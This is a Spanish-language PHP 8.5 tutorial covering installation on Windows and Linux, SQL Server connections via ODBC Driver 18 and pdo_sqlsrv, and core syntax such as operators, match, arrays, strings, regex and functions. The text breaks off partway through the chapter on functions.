PHP 8.5 desde cero hasta experto
Manual secuencial del lenguaje que impulsa la web: instalación en Windows y Linux, base de datos SQL Server con ODBC Driver 18, programación orientada a objetos, tareas pesadas delegadas a la línea de comandos, seguridad web y una API REST final construida sin framework.
1 · Qué es PHP y por qué la versión 8.5
Básico ~12 minPHP es un lenguaje interpretado creado en 1994 por Rasmus Lerdorf para producir páginas dinámicas. Hoy impulsa buena parte del backend de la web y funciona también como lenguaje generalista de línea de comandos. En este manual lo usaremos como lo usan los equipos profesionales: tipos estrictos, objetos, namespaces y pruebas.
- Entender qué hace el intérprete y quién puede invocarlo.
- Distinguir el modo web del modo CLI (concepto de SAPI).
- Ubicar PHP 8.5 dentro de la línea 8.x.
- Conocer las novedades estrella que este manual cubrirá.
Un intérprete, varios modos de ejecución (SAPI)
El binario php es uno solo; lo que cambia es
quién lo invoca. A esa interfaz se le llama SAPI y puedes consultarla
en cualquier momento:
<?php
// ¿En qué modo me estoy ejecutando?
echo php_sapi_name(), PHP_EOL;| SAPI devuelta | Quién la usa | Para qué |
|---|---|---|
cli | La terminal, tareas programadas | Scripts, workers, procesos largos |
cli-server | El servidor embebido php -S | Desarrollo rápido sin instalar nada más |
fpm-fcgi | Nginx o Apache con PHP-FPM | Servidores web en producción |
apache2handler | Apache con mod_php | Alojamiento clásico compartido |
Esta distinción no es un detalle menor: en la Parte VI la usaremos para que un mismo archivo comporte distinto cuando lo corre una persona en la terminal y cuando lo invoca una petición web.
Primer contacto: el mismo código en dos mundos
<?php
// hola.php — mi primer programa
declare(strict_types=1);
$nombre = 'Percy';
echo "Hola, {$nombre}. Bienvenido a PHP " . PHP_VERSION . PHP_EOL;La línea 8.x en un vistazo
| Versión | Aportes recordados en este curso |
|---|---|
8.0 | JIT, tipos union, argumentos nombrados, match, promoción de propiedades |
8.1 | enums, propiedades readonly, fibers, callables de primera clase |
8.2 | Clases readonly, tipos DNF, tipos true/false/null independientes |
8.3 | Constantes de clase tipadas, json_validate(), atributo #[\Override] |
8.4 | Hooks de propiedad, visibilidad asimétrica, new sin paréntesis encadenables |
8.5 | Operador pipe |>, clone() con valores, #[\NoDiscard], extensión URI |
Las novedades estrella de PHP 8.5
- Operador pipe
|>: encadena funciones de izquierda a derecha sin variables intermedias. clone($objeto, [propiedad => valor]): clona y modifica en un paso, ideal con clasesreadonly.- Atributo
#[\NoDiscard]y cast(void): avisa cuando se ignora un valor de retorno importante. - Extensión URI: análisis de URLs conforme a RFC 3986 y WHATWG URL, integrado al núcleo.
array_first()/array_last():primer y último elemento connullsi está vacío.- Errores fatales con backtrace: los «maximum execution time» ya cuentan rastro completo.
- cURL persistente compartido: reutiliza conexiones entre peticiones del mismo proceso servidor.
php -v.
Todo este manual asume 8.5.x; con 8.4 o menor algunos ejemplos fallarán.Puntos clave
- PHP corre en dos mundos: peticiones web (FPM/Apache) y terminal (
cli). - La SAPI identifica el modo;
cli-serveres solo desarrollo. - 8.5 aporta ergonomía funcional (pipe, clone) y utilidades pedidas desde hace años.
- Verifica siempre tu versión antes de ejecutar los ejemplos.
2 · Instalación en Windows: paquete oficial y TS frente a NTS
Básico ~15 minEn Windows usaremos el paquete individual oficial: un ZIP que contiene el intérprete y las extensiones. Da control total sobre versión, modo (TS/NTS) y ubicación, sin dependencias de terceros.
- Descargar y desplegar el ZIP oficial en una ruta limpia.
- Elegir correctamente entre Thread Safe y Non Thread Safe.
- Preparar el
php.inide trabajo. - Agregar PHP al PATH y verificar la instalación.
Paso 1 · Descargar el paquete adecuado
Ingresa a windows.php.net/download y descarga el
ZIP «VS16 x64» (o superior) Non Thread Safe, salvo el caso del
recuadro siguiente. Descomprímelo en una carpeta sin espacios:
Paso 2 · La decisión importante: TS o NTS
Thread Safe (TS) compila el intérprete con Zend Thread Safety: varios hilos de un mismo proceso pueden ejecutar scripts en paralelo, pagando un costo por candados. Non Thread Safe (NTS) elimina esa maquinaria porque asume un proceso por petición o ejecución.
| Criterio | Thread Safe (TS) | Non Thread Safe (NTS) |
|---|---|---|
| Mecanismo interno | Candados por hilo (ZTS) | Sin candados |
| Servidor típico | Apache con mod_php | IIS/FastCGI, FPM, embebido |
| Línea de comandos | Funciona, sin beneficio | Preferido |
| Rendimiento web | Menor (costo de sincronización) | Mejor |
| DLL de extensiones | Deben ser _ts_ | Deben ser _nts_ |
php y cada DLL de extensión (incluidas las de SQL Server
del capítulo 4). Mezclar TS con NTS produce errores al cargar extensiones como
«unable to initialize module».- ¿Usas Apache con mod_php? Elige TS.
- ¿Todo lo demás (IIS FastCGI, CLI, servidor embebido)? Elige NTS.
- Este manual asume NTS; los comandos lo indican si difiere.
Paso 3 · Preparar el php.ini
Edita php.ini y deja así estas líneas (retira el
punto y coma inicial donde corresponda):
Paso 4 · Agregar PHP al PATH
Abre «Editar las variables de entorno del sistema» → Variables de entorno →
Path → Nueva → C:\PHP\8.5. Hazlo desde el editor
gráfico, no desde consola.
setx PATH ...: trunca el
PATH cuando supera 1024 caracteres y puede dejarte herramientas inaccesibles.
El editor gráfico no tiene ese límite.Paso 5 · Verificar
El servidor embebido para desarrollo
Con -t eliges la raíz de documentos. Abre
http://localhost:8000 y detén con Ctrl+C.
Puntos clave
- ZIP oficial = control total de versión, modo y ubicación.
- NTS para CLI y FastCGI; TS solo si usas Apache mod_php.
- Binario y extensiones deben compartir el mismo modo TS/NTS.
php.ini-developmentes el punto de partida; renómbralo y ajusta extensiones.
3 · Instalación en Linux con el PPA de Ondřej
Básico ~10 minUbuntu y Debian entregan versiones de PHP con retraso respecto al calendario
oficial. El PPA de Ondřej Surý (ppa:ondrej/php)
es el estándar de facto para tener versiones recientes, mantenerlas actualizadas y
convivir varias versiones en la misma máquina.
- Agregar el PPA e instalar PHP 8.5 CLI y extensiones base.
- Localizar los archivos de configuración por SAPI.
- Alternar entre varias versiones instaladas.
- Saber qué NO incluye el PPA (anticipo del capítulo 4).
Agregar el PPA e instalar (Ubuntu)
Verificar y ubicar la configuración
Cada SAPI tiene su propio php.ini: un ajuste hecho en
cli/ no afecta a la web ni viceversa. Recuerda esto cuando
en capítulos posteriores cambiemos memoria o tiempo límite.
Convivencia de versiones
Debian puro: repositorio Sury
Puntos clave
ppa:ondrej/php= versiones actuales y convivencia multi-versión.- Existe un php.ini por SAPI bajo
/etc/php/8.5/. update-alternativesdecide qué versión responde al comandophp.- sqlsrv/pdo_sqlsrv llegan por PECL, nunca por el PPA.
4 · SQL Server: ODBC Driver 18 y extensiones sqlsrv
Intermedio ~18 minConectaremos PHP a SQL Server Developer (edición gratuita y completa para desarrollo). La cadena de conexión tiene tres piezas y entenderlas ahorra horas de depuración.
- Instalar el driver ODBC 18 (con referencia del 17).
- Habilitar las extensiones PHP
sqlsrvypdo_sqlsrven Windows y Linux. - Lograr la primera conexión PDO exitosa contra tu instancia local.
Arquitectura de la conexión
| Capa | Pieza | Detalle crítico |
|---|---|---|
| 1 · Extensión PHP | pdo_sqlsrv / sqlsrv | Debe coincidir con TU versión de PHP (8.5) y TU modo TS/NTS |
| 2 · Driver ODBC | msodbcsql18 | Traduce a protocolo TDS; cifra por defecto |
| 3 · Servidor | SQL Server Developer | Instancia local, autenticación mixta activada |
Paso A · Instalar el ODBC Driver 18
Windows: descarga e instala «Microsoft ODBC Driver 18 for SQL Server (x64)» desde la página oficial de Microsoft (instalador MSI, siguiente → siguiente). No requiere configuración adicional.
Ubuntu: agrega el repositorio oficial de Microsoft:
msodbcsql17 con los mismos pasos. La diferencia
que importa está en la tabla siguiente.Driver 17 frente a Driver 18: el cifrado
| Aspecto | Driver 17 | Driver 18 |
|---|---|---|
| Cifrado TLS por defecto | Opcional (Encrypt=no) | Obligatorio (Encrypt=yes) |
| Certificado autofirmado local | Conectaba sin pasos extra | Exige TrustServerCertificate=1 o Encrypt=no |
| Uso recomendado | Solo compatibilidad heredada | Toda instalación nueva |
Esa política del 18 es la causa número uno del error «SSL Provider: The certificate chain was not issued by an authority that is trusted» cuando conectas a tu propio SQL Server Developer sin certificado comercial.
Paso B · Extensiones PHP en Windows
- Descarga de GitHub (
microsoft/msphpsql, sección Releases) el paquete de drivers para PHP 8.5 con tu combinación: nts x64 (o ts x64 según el capítulo 2). - Copia los dos DLL indicados a
C:\PHP\8.5\ext\. - Añade las líneas al final de tu
php.ini.
Paso B · Extensiones PHP en Linux (PECL)
Paso C · Base de datos y primera conexión
Crea la base de trabajo una sola vez (SSMS o consola):
<?php
// prueba_sqlserver.php
declare(strict_types=1);
$dsn = 'sqlsrv:Server=localhost\SQLEXPRESS;'
. 'Database=TutorialPHP;'
. 'Driver={ODBC Driver 18 for SQL Server};'
. 'TrustServerCertificate=1'; // imprescindible con Driver 18 en local
$opciones = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
];
try {
$pdo = new PDO($dsn, 'sa', 'TuClaveSegura2026#', $opciones);
$version = $pdo->query('SELECT @@VERSION')->fetchColumn();
echo substr((string) $version, 0, 60), PHP_EOL;
} catch (PDOException $e) {
echo 'Fallo de conexion: ', $e->getMessage(), PHP_EOL;
}Formatos del servidor en el DSN: IP, puerto e instancia
Formato en Server= | Cuándo usarlo | Requisito extra |
|---|---|---|
localhost\SQLEXPRESS | Instancia nombrada local (típica de Developer/Express) | Ninguno |
192.168.1.50,1433 | Servidor remoto o contenedor Docker | TCP/IP habilitado y firewall abierto |
10.0.0.8\DESARROLLO | Varias instancias en un mismo servidor | Servicio SQL Browser (UDP 1434) |
srv-sql.empresa.local | Red corporativa con DNS interno | Resolución de nombres correcta |
IP,puerto conecta directo por TCP;
servidor\instancia pregunta al SQL Browser cuál puerto
dinámico usa esa instancia.Conexión por IP con credenciales dedicadas
<?php
// conexion_remota.php
declare(strict_types=1);
$opciones = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
];
// Servidor remoto por IP y puerto (misma sintaxis para Docker):
$dsn = 'sqlsrv:Server=192.168.1.50,1433;'
. 'Database=TutorialPHP;'
. 'Driver={ODBC Driver 18 for SQL Server};'
. 'TrustServerCertificate=1'; // red de desarrollo, sin CA propia
$pdo = new PDO($dsn, 'usuario_app', 'ClaveApp2026#', $opciones);
echo $pdo->query('SELECT DB_NAME()')->fetchColumn(), PHP_EOL;Las credenciales viajan como segundo y tercer argumento de
new PDO(). En lugar de usar sa,
crea un acceso exclusivo para la aplicación:
db_datareaderydb_datawritercubren consultas y escritura sin otorgar administración.- En producción las credenciales viven en variables de entorno, jamás en el repositorio.
- Si el tráfico cruza Internet, sustituye
TrustServerCertificate=1por un certificado real y cifrado completo (Encrypt=yes, que el Driver 18 ya exige).
localhost,1433 (coma, no barra invertida) en el DSN.Errores típicos y su lectura correcta
| Mensaje | Causa real |
|---|---|
could not find driver | La extensión PHP no está cargada: revisa php -m y el ini correcto |
Can't open lib 'ODBC Driver 18 ...' | El nombre entre llaves no coincide exactamente o el driver ODBC no está instalado |
SSL Provider: certificate ... not trusted | Falta TrustServerCertificate=1 (política del Driver 18) |
Login failed for user 'sa' | Autenticación mixta deshabilitada en el servidor o contraseña incorrecta |
Puntos clave
- Tres capas: extensión PHP → driver ODBC → servidor TDS.
- Driver 18 cifra por defecto: usa
TrustServerCertificate=1en desarrollo. - Las DLL deben respetar tu modo TS/NTS y tu versión 8.5.
- En Linux, PECL compila; el PPA de Ondřej nunca incluirá sqlsrv.
- Verifica SIEMPRE con
php -mantes de culpar al código.
5 · Anatomía de un script: etiquetas, variables y tipos
Básico ~12 minTodo archivo PHP del curso seguirá la misma estructura mínima. Dominarla evita los errores más tontos y los más caros (como un espacio accidental antes del HTML).
Etiquetas PHP y el cierre opcional
<?php
// Todo lo que este archivo contiene es codigo: SIN cierre ?>
// El cierre ?> solo se usa en archivos que MEZCLAN PHP con HTML:
// <p>Hola <?= $nombre ?></p> (atajo de echo con = )- Apertura obligatoria
<?php. - En archivos de solo código, omite el cierre: previene espacios en blanco accidentales que rompen cabeceras HTTP.
Instrucciones, variables y tipos escalares
<?php
declare(strict_types=1);
$edad = 34; // int
$precio = 19.90; // float
$nombre = 'Percy'; // string
$activo = true; // bool
var_dump($edad, $precio);
echo gettype($nombre), PHP_EOL;| Tipo | Ejemplo literal | Nota importante |
|---|---|---|
int | 42, -7, 1_000_000 | 64 bits con signo |
float | 3.14, 1.2e4 | Aritmética binaria: 0.1+0.2 !== 0.3 |
string | 'texto', "con $var" | Simples no interpolan; dobles sí |
bool | true, false | Insensible a mayúsculas |
Constantes y constantes mágicas
<?php
declare(strict_types=1);
const IVA = 0.18; // tiempo de compilacion: preferida
define('VERSION_API', 'v1'); // util si depende de algo en runtime
echo IVA, ' ', VERSION_API, PHP_EOL;
echo 'Estoy en la linea ', __LINE__, ' de ', basename(__FILE__), PHP_EOL;
echo MiClase::class, PHP_EOL; // nombre de clase como texto
class MiClase {}Otras mágicas útiles: __FILE__,
__DIR__, __FUNCTION__,
__METHOD__.
Salida por pantalla: cuál usar cuándo
<?php
declare(strict_types=1);
$carrito = ['cafe' => 2, 'te' => 1];
echo "Interpolacion: {$carrito['cafe']} cafes\n"; // dobles interpolan
print 'print es casi igual que echo' . PHP_EOL; // concatenacion con .
printf("Total: %.2f\n", 18.5); // formato tipo C
var_dump($carrito); // depuracion: tipos Y valores exactos
print_r($carrito); // lectura rapida para humanosCadenas multilínea: heredoc y nowdoc
<?php
$sql = <<<SQL
SELECT id, cliente
FROM pedidos
WHERE estado = 'PENDIENTE'
SQL; // heredoc: interpola variables
$plantilla = <<<'TXT'
Hola {$nombre} // nowdoc: texto literal, NO interpola
TXT;strict_types en profundidad: alcance real y bondades
Se declara por archivo, como primera instrucción tras la etiqueta de apertura (solo comentarios pueden precederla). La declaración no se hereda: cada archivo decide cómo evaluar las conversiones en las llamadas que ese propio archivo realiza hacia funciones y métodos.
No existe configuración global. Ni php.ini
ni .htaccess pueden activarla para todo el proyecto: es una
decisión deliberada del lenguaje. Si una biblioteca pudiera imponer el modo estricto
de forma global, rompería el código de sus consumidores; con la regla por archivo,
quien escribe la llamada elige.
Para aplicar el estándar en un proyecto entero sin editar miles de archivos a mano, se automatiza con herramientas:
Bondades que justifican la disciplina:
- Fallo rápido y en el lugar correcto: el TypeError señala la línea donde entró el dato erróneo, no tres capas más abajo.
- Contratos vivos: la firma dice exactamente qué acepta y qué devuelve; la documentación no puede quedarse vieja.
- Análisis estático potente: PHPStan, Psalm y el IDE detectan el error antes de ejecutar nada.
- Adiós a la corrupción silenciosa: '5 manzanas' ya no se vuelve 5 ni un float se trunca sin aviso.
- Costo nulo en rendimiento: solo verifica firmas al momento de la llamada.
Puntos clave
- Archivos de solo código: apertura sin cierre.
- Cuatro escalares: int, float, string, bool;
var_dump()para verlos con precisión. constpreferida sobredefine().- Dobles interpolan, simples no; nowdoc para texto crudo.
strict_types=1: primera línea, siempre.
6 · Operadores y comparaciones sin sorpresas
Básico ~14 minPHP tiene operadores para todo; el riesgo no está en conocerlos sino en usar el
relajado (==) donde correspondía el estricto
(===). Este capítulo fija las reglas que el resto del
manual dará por sentadas.
Aritméticos
<?php
declare(strict_types=1);
echo 7 + 2, ' ', 7 % 3, ' ', 7 ** 2, PHP_EOL;
echo intdiv(7, 2), PHP_EOL; // division entera explicita: 3
echo 7 / 2, PHP_EOL; // division real: 3.5- El signo del resto
%sigue al dividendo:-7 % 3 === -1. /devuelve float salvo división exacta entre enteros.
Asignación compuesta
<?php
$total = 100;
$total += 50; // 150
$total **= 2; // 40000
$csv = 'id,nombre';
$csv .= ',telefono'; // concatenar y asignar
$pagina = null;
$pagina ??= 1; // solo asigna si era nullComparación estricta frente a relajada
| Expresión | Resultado | Lectura correcta |
|---|---|---|
'10' == 10 | true | Cadena numérica se convierte a número |
'10' === '10' | true | Mismo tipo y mismo valor |
0 == 'php' | false | Desde PHP 8 la cadena no numérica ya NO se vuelve 0 |
'' == null | true | Ambos «vacíos»: trampa clásica |
null === false | false | Tipos distintos, nunca iguales con === |
<?php
declare(strict_types=1);
var_dump('10' == 10, '10' === '10', '' == null);
// Regla del curso: === y !== por defecto.
// == SOLO cuando la comparacion laxa es intencional (p. ej. entrada de formularios).La nave espacial <=>
Compara dos valores y devuelve -1, 0 o 1. Es el corazón de los ordenamientos:
<?php
declare(strict_types=1);
$productos = [
['nombre' => 'Teclado', 'precio' => 120],
['nombre' => 'Cable', 'precio' => 15],
['nombre' => 'Monitor', 'precio' => 480],
];
usort($productos, fn(array $a, array $b): int => $a['precio'] <=> $b['precio']);
foreach ($productos as $p) {
echo $p['nombre'], ': ', $p['precio'], PHP_EOL;
}Lógicos y la trampa de precedencia
<?php
$sesionIniciada = false;
// TRAMPA: "or" tiene precedencia MENOR que "="
$modoDebug = false or true; // $modoDebug vale false!
// Correcto:
$modoDebug = false || true; // true- Usa
&&,||,!: precedencia intuitiva. - Reserva
and/orpara frases idiomáticas de una línea (fallo() or exit();).
Fusión de null: ?? frente a ?:
<?php
$_GET['orden'] = '';
$a = $_GET['orden'] ?? 'asc'; // ?? : '' EXISTE, lo respeta -> ''
$b = $_GET['orden'] ?: 'asc'; // ?: : '' es falsy, lo reemplaza -> 'asc'
echo $a, ' / ', $b, PHP_EOL;Regla práctica: valor por defecto ante ausencia real usa
??; normalizar «vacío equivale a X» usa ?:.
Confundirlos produce bugs silenciosos en formularios.
Puntos clave
- Estricto
===por defecto; relajado==solo si es intencional. <=>alimenta ordenamientos; memorízalo conusort().&&/||siempre sobreand/or.??respeta lo existente aunque sea vacío;?:reemplaza lo falsy.intdiv()cuando la división debe ser entera a propósito.
7 · Control de flujo: if, switch, match y bucles
Básico ~14 minPHP ofrece las estructuras clásicas más una joya moderna: la expresión
match, que desde PHP 8.0 reemplaza a la mayoría de los
switch con menos errores posibles.
- Elegir entre
if,switchymatchcon criterio. - Dominar los cuatro bucles y cuándo usar cada uno.
- Evitar las trampas clásicas: asignación en condición y
foreachpor referencia.
if, elseif, else — y la sintaxis alternativa
<?php
declare(strict_types=1);
$stock = 0;
if ($stock > 10) {
echo 'Disponible';
} elseif ($stock > 0) {
echo 'Ultimas unidades';
} else {
echo 'Agotado';
}
// Sintaxis alternativa: ideal dentro de plantillas HTML
?>
<?php if ($stock === 0): ?>
<p class="text-danger">Sin stock</p>
<?php endif; ?>match: el switch moderno
<?php
declare(strict_types=1);
// Escala peruana de notas (0 a 20)
$nota = 16;
$mensaje = match (true) {
$nota >= 18 => 'Sobresaliente',
$nota >= 11 => 'Aprobado',
$nota >= 0 => 'Desaprobado',
default => 'Nota invalida',
};
echo $mensaje, PHP_EOL;
// match tambien compara valores directos, con varias condiciones por brazo:
$tipoComida = 'ceviche';
$categoria = match ($tipoComida) {
'ceviche', 'tiradito' => 'marino',
'aji de gallina' => 'criollo',
default => 'otro',
};
echo $categoria, PHP_EOL;switch clásico: la referencia para comparar
<?php
declare(strict_types=1);
$medioPago = 'yape';
switch ($medioPago) {
case 'efectivo':
$comision = 0;
break;
case 'tarjeta':
$comision = 0.035;
break;
case 'yape':
case 'plin': // casos apilados: comparten el bloque
$comision = 0.0085;
break;
default:
throw new InvalidArgumentException('Medio no soportado');
}
echo 'Comision: ', $comision * 100, '%', PHP_EOL;Rangos por opcion: switch(true) frente a match(true)
Ninguno de los dos tiene sintaxis nativa de rango; el patron idiomático compara
contra true:
<?php
declare(strict_types=1);
$edad = 15;
// switch(true): cada case ES una condicion booleana
$categoriaSwitch = '';
switch (true) {
case $edad >= 18:
$categoriaSwitch = 'adulto';
break;
case $edad >= 12:
$categoriaSwitch = 'adolescente';
break;
default:
$categoriaSwitch = 'nino';
}
// match(true): misma idea, sin breaks y con retorno directo
$categoriaMatch = match (true) {
$edad >= 18 => 'adulto',
$edad >= 12 => 'adolescente',
default => 'nino',
};
echo "$categoriaSwitch / $categoriaMatch", PHP_EOL;- En
switch(true), olvidar unbreakhace caer la ejecución al siguiente rango: bug silencioso clásico. match(true)retorna en la primera coincidencia: imposible que «caiga» a otro brazo.- Valores discretos múltiples: match los agrupa con coma
(
'yape', 'plin' =>); switch apila casos vacíos.
| Aspecto | switch | match |
|---|---|---|
| Comparación | Laxa (==) | Estricta (===) |
| Fall-through | Sí, si olvidas break | Imposible |
| Resultado | Solo efectos secundarios | Devuelve un valor |
| Sin coincidencia | No pasa nada | Lanza UnhandledMatchError |
| Varios casos → una acción | Casos apilados | Condiciones separadas por coma |
case con
punto y coma en lugar de dos puntos quedó oficialmente deprecado. Escribe siempre
case 'x': con dos puntos.Los cuatro bucles
<?php
declare(strict_types=1);
// while: repite MIENTRAS la condicion sea verdadera (puede no ejecutarse)
$i = 1;
while ($i <= 3) {
echo $i++;
}
echo PHP_EOL;
// do-while: ejecuta AL MENOS una vez
do {
$tecla = random_int(1, 6);
} while ($tecla !== 6);
echo "Sali con un $tecla", PHP_EOL;
// for: cuando conoces la cantidad de iteraciones
for ($j = 0; $j < 3; $j++) {
echo "vuelta $j ";
}
echo PHP_EOL;
// foreach: LA forma de recorrer arrays
$precios = ['cafe' => 12.5, 'te' => 8.0];
foreach ($precios as $producto => $precio) {
echo "$producto cuesta $precio\n";
}break, continue y sus niveles
<?php
declare(strict_types=1);
foreach ([1, 5, 9] as $fila) {
foreach ([2, 4, 6] as $col) {
if ($col === 4) {
continue; // salta SOLO esta vuelta interna
}
if ($fila * $col > 30) {
break 2; // sale de AMBOS bucles
}
echo $fila * $col, ' ';
}
}
echo PHP_EOL;foreach ($arr as &$v) {} la variable
$v SIGUE apuntando al último elemento. Si luego escribes
$v = algo corrompes el array sin darte cuenta. Libera
siempre con unset($v) tras el bucle.Puntos clave
- Para elegir valores usa
match; guardaswitchpara legado. foreaches el bucle por defecto sobre colecciones.break 2/continue 2controlan bucles anidados.- Referencias en
foreach: solo conunset()posterior. - Sintaxis alternativa
if(): endif;para mezclar con HTML.
8 · Arrays y sus funciones esenciales
Intermedio ~16 minEl array de PHP es la estructura de datos universal: lista, diccionario, pila y cola a la vez. El 80 por ciento del trabajo diario con datos pasa por dominar un puñado de funciones que este capítulo organiza por intención.
Creación y reglas de claves
<?php
declare(strict_types=1);
$indexado = ['a', 'b', 'c']; // claves 0,1,2 automaticas
$asociativo = ['nombre' => 'Percy', 'rol' => 'backend'];
$multidimen = ['pedidos' => [['id' => 1], ['id' => 2]]];
// Reglas de clave que conviene memorizar:
$trampas = [
'5' => 'x', // clave int 5 (cadena numerica pura se convierte)
true => 'y', // clave int 1
'08' => 'z', // sigue siendo string: NO es numerica pura
];
var_dump(array_keys($trampas));Leer, escribir y comprobar
<?php
declare(strict_types=1);
$config = ['debug' => false];
$config['idioma'] = 'es'; // agregar / sobrescribir
// isset vs ?? : isset devuelve false si el valor ES null
var_dump(isset($config['debug']), $config['timeout'] ?? 30);
// Busquedas: SIEMPRE con tercer argumento estricto
$roles = ['admin', 'editor'];
var_dump(in_array('Admin', $roles), in_array('Admin', $roles, true));
var_dump(array_search('editor', $roles, true));El trío transformador: map, filter, reduce
<?php
declare(strict_types=1);
$ventas = [
['producto' => 'Teclado', 'monto' => 120.0],
['producto' => 'Cable', 'monto' => 15.5],
['producto' => 'Monitor', 'monto' => 480.0],
];
$nombres = array_map(fn(array $v): string => $v['producto'], $ventas);
print_r($nombres);
$mayores = array_filter($ventas, fn(array $v): bool => $v['monto'] >= 100);
echo count($mayores), " ventas grandes\n";
$total = array_reduce(
$ventas,
fn(float $acum, array $v): float => $acum + $v['monto'],
0.0
);
printf("Total: %.2f\n", $total);Novedad 8.5: array_first() y array_last()
<?php
declare(strict_types=1);
$eventos = []; // puede llegar vacio de la base de datos
// Antes de 8.5:
$ultimoViejo = $eventos === [] ? null : $eventos[array_key_last($eventos)];
// Desde 8.5:
$primero = array_first($eventos) ?? 'sin eventos';
$ultimo = array_last($eventos) ?? 'sin eventos';
echo $primero, ' | ', $ultimo, PHP_EOL;- Devuelven valor, no clave; con arrays vacíos devuelven
null: combinables con??. - Sustituyen los antiguos bailes de
reset(),end()yarray_key_first().
Ordenamiento: elegir la función correcta
| Función | Ordena | Mantiene claves | Criterio propio |
|---|---|---|---|
sort() / rsort() | Valores | No (renumera) | No |
asort() / arsort() | Valores | Sí | No |
ksort() / krsort() | Claves | Sí | No |
usort() / uasort() / uksort() | Libre | uasort sí | Sí, con callback + <=> |
<?php
declare(strict_types=1);
$productos = [
['nombre' => 'Monitor', 'stock' => 4],
['nombre' => 'Cable', 'stock' => 40],
['nombre' => 'Teclado', 'stock' => 12],
];
usort($productos, fn(array $a, array $b): int => $b['stock'] <=> $a['stock']);
echo array_first($productos)['nombre'], PHP_EOL; // el mas stockeadoUtilidades de uso diario
<?php
declare(strict_types=1);
$a = [1, 2, 3];
$b = [3, 4];
var_dump([...$a, ...$b]); // spread: union manual
print_r(array_merge(['x' => 1], ['x' => 9])); // claves texto: gana el ultimo
print_r(array_unique([1, 2, 2, 3]));
[$id, $ciudad] = explode('-', 'LIM-47'); // destructuring
echo "$id / $ciudad\n";
print_r(array_column($ventas = [
['id' => 7, 'pais' => 'PE'],
['id' => 9, 'pais' => 'CL'],
], 'pais', 'id'));array_merge frente a spread: con
claves numéricas array_merge renumera; con claves de
texto el último valor pisa al anterior. Si necesitas sumar valores en vez de
reemplazarlos, usa array_merge_recursive o tu propia
lógica.Puntos clave
- Claves: cadenas numéricas puras se convierten a int;
'08'no. in_array()/array_search()siempre con tercer parámetrotrue.- map transforma, filter filtra, reduce agrega: la tríada del día a día.
array_first()/array_last()(8.5) con??para valores seguros.usort+ nave espacial para cualquier criterio propio.
9 · Cadenas y expresiones regulares
Intermedio ~15 minEl texto es la materia prima de la web: URLs, correos, JSON, HTML. PHP trae más de un centenar de funciones de cadena; aquí quedan las que de verdad se usan, con su versión segura para español (acentos y ñ incluidos).
UTF-8 primero: mb_* frente a las clásicas
<?php
declare(strict_types=1);
$frase = 'Ñandú saltó';
echo strlen($frase), ' bytes vs ', mb_strlen($frase), ' caracteres', PHP_EOL;
echo mb_strtoupper('acción'), ' ', mb_strtolower('PERÚ'), PHP_EOL;
echo mb_substr($frase, 0, 5), PHP_EOL;Las funciones que sí se memorizan
| Necesidad | Función | Ejemplo |
|---|---|---|
| ¿Contiene / empieza / termina? | str_contains(), str_starts_with(), str_ends_with() | str_contains($url, 'https') (desde 8.0) |
| Posición | strpos() | Devuelve false si no está: compara con === |
| Reemplazo literal | str_replace() | Acepta arrays de búsqueda |
| Limpieza | trim(), ltrim(), rtrim() | Espacios (y caracteres dados) de los bordes |
| Rellenar / repetir | str_pad(), str_repeat() | Códigos tipo '0042' |
| Separar / unir | explode(), implode() | CSV casero, rutas |
| Formato | sprintf(), number_format() | sprintf('%05.2f', 3.1) |
| Salida HTML segura | htmlspecialchars() | Anticipo del capítulo de seguridad |
<?php
declare(strict_types=1);
$codigo = str_pad((string) 42, 5, '0', STR_PAD_LEFT);
echo $codigo, ' | ', number_format(1234567.891, 2, ',', ' '), PHP_EOL;
$lista = ['php', 'sql', 'odbc'];
$csv = implode(', ', $lista);
$partes = explode(',', 'LIM,ARE,CUZ');
echo $csv, ' / ', count($partes), ' regiones', PHP_EOL;Expresiones regulares con PCRE
<?php
declare(strict_types=1);
// preg_match devuelve 1 si coincide, 0 si no, false ante error
$correo = 'percy@midominio.pe';
if (preg_match('/^[\w.+-]+@[\w-]+\.[\w.-]+$/u', $correo) === 1) {
echo "Correo valido\n";
}
// Grupos con nombre: legibles y auto-documentados
preg_match('/^(?P<usuario>[\w.+-]+)@(?P<dominio>[\w.-]+)$/', $correo, $m);
echo $m['usuario'], ' en ', $m['dominio'], PHP_EOL;
// Todas las coincidencias
preg_match_all('/\d+/', 'pedidos 12, 47 y 103', $todos);
print_r($todos[0]);
// Reemplazo con callback
$seguro = preg_replace_callback(
'/\d+/',
fn(array $x): string => (string) ((int) $x[0] * 2),
'mesas 4, sillas 8'
);
echo $seguro, PHP_EOL;Modificadores imprescindibles
| Modificador | Significado |
|---|---|
i | InSENSIBLE a mayúsculas |
m | ^ y $ por cada línea |
s | El punto también captura saltos de línea |
u | Patrón y sujeto en UTF-8: úsalo SIEMPRE con texto hispano |
Ejemplo integrador: generador de slugs
<?php
declare(strict_types=1);
function slug(string $titulo): string
{
$t = mb_strtolower(trim($titulo), 'UTF-8');
$t = str_replace(['á','é','í','ó','ú','ñ'], ['a','e','i','o','u','n'], $t);
$t = preg_replace('/[^a-z0-9]+/', '-', $t);
return trim((string) $t, '-');
}
$titulos = ['Café "Special", Ñandú!', ' API REST v2 '];
foreach ($titulos as $t) {
echo slug($t), PHP_EOL;
}Puntos clave
- Con texto hispano: familia
mb_*y modificadoru. strpos()devuelvefalse: comparar con===.str_contains/starts/ends(8.0+) reemplazan trucos viejos.- Grupos nombrados
(?P<x>)hacen legible cualquier regex. preg_replace_callback()para transformaciones por coincidencia.
10 · Funciones modernas: nombradas, variádicas y flecha
Básico ~14 minLas funciones de PHP 8 tienen firma completa (tipos en entrada y salida), argumentos por nombre, listas variables y una sintaxis flecha que simplifica los callbacks. Todo esto es materia prima del capítulo de novedades 8.5.
Firma completa: tipos y valores por defecto
<?php
declare(strict_types=1);
function calcularIva(float $monto, float $tasa = 0.18): float
{
return round($monto * $tasa, 2);
}
echo calcularIva(100.0), ' / ', calcularIva(100.0, 0.10), PHP_EOL;
// Regla: los parametros con valor por defecto van SIEMPRE al final.Argumentos nombrados (8.0)
<?php
declare(strict_types=1);
// Llamadas auto-documentadas; se pueden saltar opcionales intermedios:
function enviar(string $destino, string $asunto = '(sin asunto)',
bool $urgente = false, int $reintentos = 3): string
{
return "$destino | $asunto | urgente=$urgente reintentos=$reintentos";
}
echo enviar(destino: 'ops@empresa.pe', urgente: true), PHP_EOL;Variádicas y desempaquetado
<?php
declare(strict_types=1);
function total(float ...$montos): float
{
return array_sum($montos);
}
